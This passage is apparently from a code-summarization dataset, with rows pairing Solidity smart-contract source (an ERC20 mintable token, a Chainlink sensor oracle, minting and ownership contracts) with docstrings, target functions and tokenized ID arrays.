HODLLastClaim[tokenIds[i]] = block.timestamp;
}
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ICandyToken is IERC20 {
function updateRewardOnMint(address _user, uint256 _amount) external;
function updateReward(address _from, address _to) external;
function getReward(address _to) external;
function burn(address _from, uint256 _amount) external;
function mint(address to, uint256 amount) external;
function getTotalClaimable(address _user) external view returns (uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
interface IUninterestedUnicorns is IERC721 {
function mint(uint256 _quantity) external payable;
function getPrice(uint256 _quantity) external view returns (uint256);
function totalSupply() external view returns (uint256);
function lockTokens(uint8[] memory tokenId) external;
function unlockTokens(uint8[] memory tokenId) external;
} | @dev Retrieves Rare multiplier | function getRareMultiplier(uint256 rareCount)
public
view
returns (uint256)
{
return rareMultipliers[rareCount];
}
| 11,955,288 | [
1,
6960,
534,
834,
15027,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4170,
834,
23365,
12,
11890,
5034,
25671,
1380,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
25671,
5002,
8127,
414,
63,
354,
266,
1380,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x03b1458fE995c6760Da16a574c17494D1ED88FA1/sources/contracts/Buccaneers_flattened.sol | * @notice Verifies that minting is allowed./ | modifier mintingStatus() {
require(mintOpen, "Minting is not open");
_;
}
| 17,055,572 | [
1,
19802,
716,
312,
474,
310,
353,
2935,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
312,
474,
310,
1482,
1435,
288,
203,
3639,
2583,
12,
81,
474,
3678,
16,
315,
49,
474,
310,
353,
486,
1696,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.23;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function mint(address _to, uint256 _amount) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
require(owner == msg.sender);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// ----------------------------------------------------------------------------
// @title Pausable
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract StandardToken is ERC20Interface, Pausable {
using SafeMath for uint256;
string public constant symbol = "AST-NET";
string public constant name = "AllStocks Token";
uint256 public constant decimals = 18;
uint256 public _totalSupply = 0;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
//start token in puse mode
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
//allow trading in tokens only if sale fhined or by token creator (for bounty program)
if (msg.sender != owner)
require(!paused);
require(to != address(0));
require(tokens > 0);
require(tokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
require(spender != address(0));
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are not allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
//allow trading in token only if sale fhined
if (msg.sender != owner)
require(!paused);
require(tokens > 0);
require(to != address(0));
require(from != address(0));
require(tokens <= balances[from]);
require(tokens <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
require(_amount > 0);
_totalSupply = _totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// note introduced onlyPayloadSize in StandardToken.sol to protect against short address attacks
contract AllstocksToken is MintableToken {
string public version = "1.0";
uint256 public constant INITIAL_SUPPLY = 225 * (10**5) * 10**decimals; // 22.5m reserved for Allstocks use
// constructor
constructor() public {
owner = msg.sender;
_totalSupply = INITIAL_SUPPLY; // 22.5m reserved for Allstocks use
balances[owner] = INITIAL_SUPPLY; // Deposit Allstocks share
emit Transfer(address(0x0), owner, INITIAL_SUPPLY); // log transfer
}
function () public payable {
require(msg.value == 0);
}
} | ------------------------------------------------------------------------ Token owner can approve for `spender` to transferFrom(...) `tokens` from the token owner's account https:github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md recommends that there are no checks for the approval double-spend attack as this should be implemented in user interfaces ------------------------------------------------------------------------ | function approve(address spender, uint256 tokens) public returns (bool success) {
require(spender != address(0));
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| 15,312,901 | [
1,
29461,
3155,
3410,
848,
6617,
537,
364,
1375,
87,
1302,
264,
68,
358,
7412,
1265,
5825,
13,
1375,
7860,
68,
628,
326,
1147,
3410,
10,
5520,
31,
87,
2236,
2333,
30,
6662,
18,
832,
19,
546,
822,
379,
19,
41,
18246,
19,
10721,
19,
7525,
19,
41,
2579,
55,
19,
73,
625,
17,
3462,
17,
2316,
17,
10005,
18,
1264,
10519,
5839,
716,
1915,
854,
1158,
4271,
364,
326,
23556,
1645,
17,
87,
1302,
13843,
487,
333,
1410,
506,
8249,
316,
729,
7349,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
2430,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
87,
1302,
264,
480,
1758,
12,
20,
10019,
203,
3639,
2935,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
65,
273,
2430,
31,
203,
3639,
3626,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
17571,
264,
16,
2430,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
contract Sensors is ChainlinkClient {
using Chainlink for Chainlink.Request;
bytes32 private id;
bytes32 private temp;
bytes32 private hum;
bytes32 private timestamp;
// This is where you'll save each response from the
// nodes you've chosen in a list, and then you can
// take the median of those nodes
uint256 private index;
bytes32[3] private currentDataList;
address private oracle1 = 0xc57B33452b4F7BB189bB5AfaE9cc4aBa1f7a4FD8;
bytes32 private jobId1 = "7401f318127148a894c00c292e486ffd";
address private oracle2 = 0x56dd6586DB0D08c6Ce7B2f2805af28616E082455;
bytes32 private jobId2 = "c128fbb0175442c8ba828040fdd1a25e";
address private oracle3 = 0xe0090e7AB96123FDE1D3CC8b3f3b342B4aA60a2E;
bytes32 private jobId3 = "98f5b10ce2a843b6b7e892fadb5921be";
/**
* Network: Kovan
* Oracle: 0xc57B33452b4F7BB189bB5AfaE9cc4aBa1f7a4FD8 (Chainlink Devrel
* Node)
* Job ID: d5270d1c311941d0b08bead21fea7747
* Fee: 0.1 LINK
*/
// 0xAA1DC356dc4B18f30C347798FD5379F3D77ABC5b
// 5a9a763ee1e44e729c30ec1d8252de05
constructor() {
setChainlinkToken(0xa36085F69e2889c224210F603D836748e7dC0088);
currentDataList[0] = 0;
currentDataList[1] = 0;
currentDataList[2] = 0;
}
/**
* Create a Chainlink request to retrieve API response, find the target
* data, then multiply by 1000000000000000000 (to remove decimal places from data).
*/
function requestSingleData(
address _address,
bytes32 _jobId,
string memory _id,
uint32 _jobtype
) private returns (bytes32 requestId) {
string memory call;
string memory url;
Chainlink.Request memory request;
if (_jobtype == 0) {
call = "id";
request = buildChainlinkRequest(
_jobId,
address(this),
this.fulfillId.selector
);
}
if (_jobtype == 1) {
call = "temp";
request = buildChainlinkRequest(
_jobId,
address(this),
this.fulfillTemp.selector
);
}
if (_jobtype == 2) {
call = "hum";
request = buildChainlinkRequest(
_jobId,
address(this),
this.fulfillHum.selector
);
}
if (_jobtype == 3) {
call = "time";
request = buildChainlinkRequest(
_jobId,
address(this),
this.fulfillTimestamp.selector
);
}
bytes memory s;
s = abi.encodePacked(
"http://api-env.eba-jzmbf5ps.us-east-2.elasticbeanstalk.com/sensor/"
);
s = abi.encodePacked(s, _id);
url = string(s);
// Set the URL to perform the GET request on
request.add("get", url);
// Set the path to find the desired data in the API response, where the response format is:
request.add("path", call);
// Sends the request
return sendChainlinkRequestTo(_address, request, 0.1 * 10**18);
}
/**
* Receive the response in the form of uint256
*/
function fulfillId(bytes32 _requestId, bytes32 _data)
public
recordChainlinkFulfillment(_requestId)
{
currentDataList[index] = _data;
// This ensures the array never goes past 3, we just keep rotating responses
index = (index + 1) % 3;
id = median();
}
function fulfillTemp(bytes32 _requestId, bytes32 _data)
public
recordChainlinkFulfillment(_requestId)
{
currentDataList[index] = _data;
index = (index + 1) % 3;
temp = median();
}
function fulfillHum(bytes32 _requestId, bytes32 _data)
public
recordChainlinkFulfillment(_requestId)
{
currentDataList[index] = _data;
index = (index + 1) % 3;
hum = median();
}
function fulfillTimestamp(bytes32 _requestId, bytes32 _data)
public
recordChainlinkFulfillment(_requestId)
{
currentDataList[index] = _data;
index = (index + 1) % 3;
timestamp = median();
}
function getData(uint32 _jobtype) public view returns (bytes32) {
if (_jobtype == 0) {
return id;
}
if (_jobtype == 1) {
return temp;
}
if (_jobtype == 2) {
return hum;
}
if (_jobtype == 3) {
return timestamp;
}
}
function requestData(string memory _id, uint32 _jobtype) public {
requestSingleData(oracle1, jobId1, _id, _jobtype);
requestSingleData(oracle2, jobId2, _id, _jobtype);
requestSingleData(oracle3, jobId3, _id, _jobtype);
}
function median() private view returns (bytes32) {
if (currentDataList[0] > currentDataList[1]) {
if (currentDataList[0] > currentDataList[2]) {
if (currentDataList[1] > currentDataList[2]) {
return currentDataList[1];
} else {
return currentDataList[2];
}
} else {
return currentDataList[0];
}
} else if (currentDataList[1] > currentDataList[2]) {
return currentDataList[2];
}
return currentDataList[1];
}
}
| * Receive the response in the form of uint256/ This ensures the array never goes past 3, we just keep rotating responses | function fulfillId(bytes32 _requestId, bytes32 _data)
public
recordChainlinkFulfillment(_requestId)
{
currentDataList[index] = _data;
index = (index + 1) % 3;
id = median();
}
| 5,452,830 | [
1,
11323,
326,
766,
316,
326,
646,
434,
2254,
5034,
19,
1220,
11932,
326,
526,
5903,
13998,
8854,
890,
16,
732,
2537,
3455,
4168,
1776,
7220,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
22290,
548,
12,
3890,
1578,
389,
2293,
548,
16,
1731,
1578,
389,
892,
13,
203,
3639,
1071,
203,
3639,
1409,
3893,
1232,
23747,
5935,
475,
24899,
2293,
548,
13,
203,
565,
288,
203,
3639,
783,
24274,
63,
1615,
65,
273,
389,
892,
31,
203,
3639,
770,
273,
261,
1615,
397,
404,
13,
738,
890,
31,
203,
3639,
612,
273,
12644,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions". This adds two-phase
* ownership control to OpenZeppelin's Ownable class. In this model, the original owner
* designates a new owner but does not actually transfer ownership. The new owner then accepts
* ownership and completes the transfer.
*/
contract Ownable {
address public owner;
address public pendingOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
pendingOwner = address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
